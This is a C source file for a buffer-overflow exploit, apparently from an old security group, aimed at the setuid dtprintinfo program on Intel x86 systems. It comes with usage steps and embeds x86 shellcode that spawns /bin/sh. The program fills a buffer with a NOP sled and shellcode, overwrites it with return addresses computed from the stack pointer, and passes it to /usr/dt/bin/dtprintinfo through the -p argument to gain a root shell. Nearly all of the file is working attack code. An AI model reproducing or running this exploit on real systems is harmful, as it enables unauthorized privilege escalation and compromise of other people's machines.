/*=============================================================================
   ex_dtprintinfo.c Overflow Exploits( for Intel x86 Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)
   [usage]
        % setenv DISPLAY=yourdisplay:0.0
        % gcc ex_dtprintinfo.c (This example program)
        % a.out
        #
  =============================================================================
*/


static char   x[1000];

#define ADJUST          0
#define STARTADR        621
#define BUFSIZE         900
#define NOP             0x90

unsigned long ret_adr;
int     i;

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

main()
{
        putenv("LANG=");
        for (i=0;i<BUFSIZE;i++) x[i]=NOP;

        for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i]=exploit_code[i];
        ret_adr=get_sp() - 1292 + 148;

        for (i = ADJUST; i < 400 ; i+=4){
                x[i+0]=ret_adr & 0xff;
                x[i+1]=(ret_adr >> 8 ) &0xff;
                x[i+2]=(ret_adr >> 16 ) &0xff;
                x[i+3]=(ret_adr >> 24 ) &0xff;
        }

        x[BUFSIZE]=0;
        execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}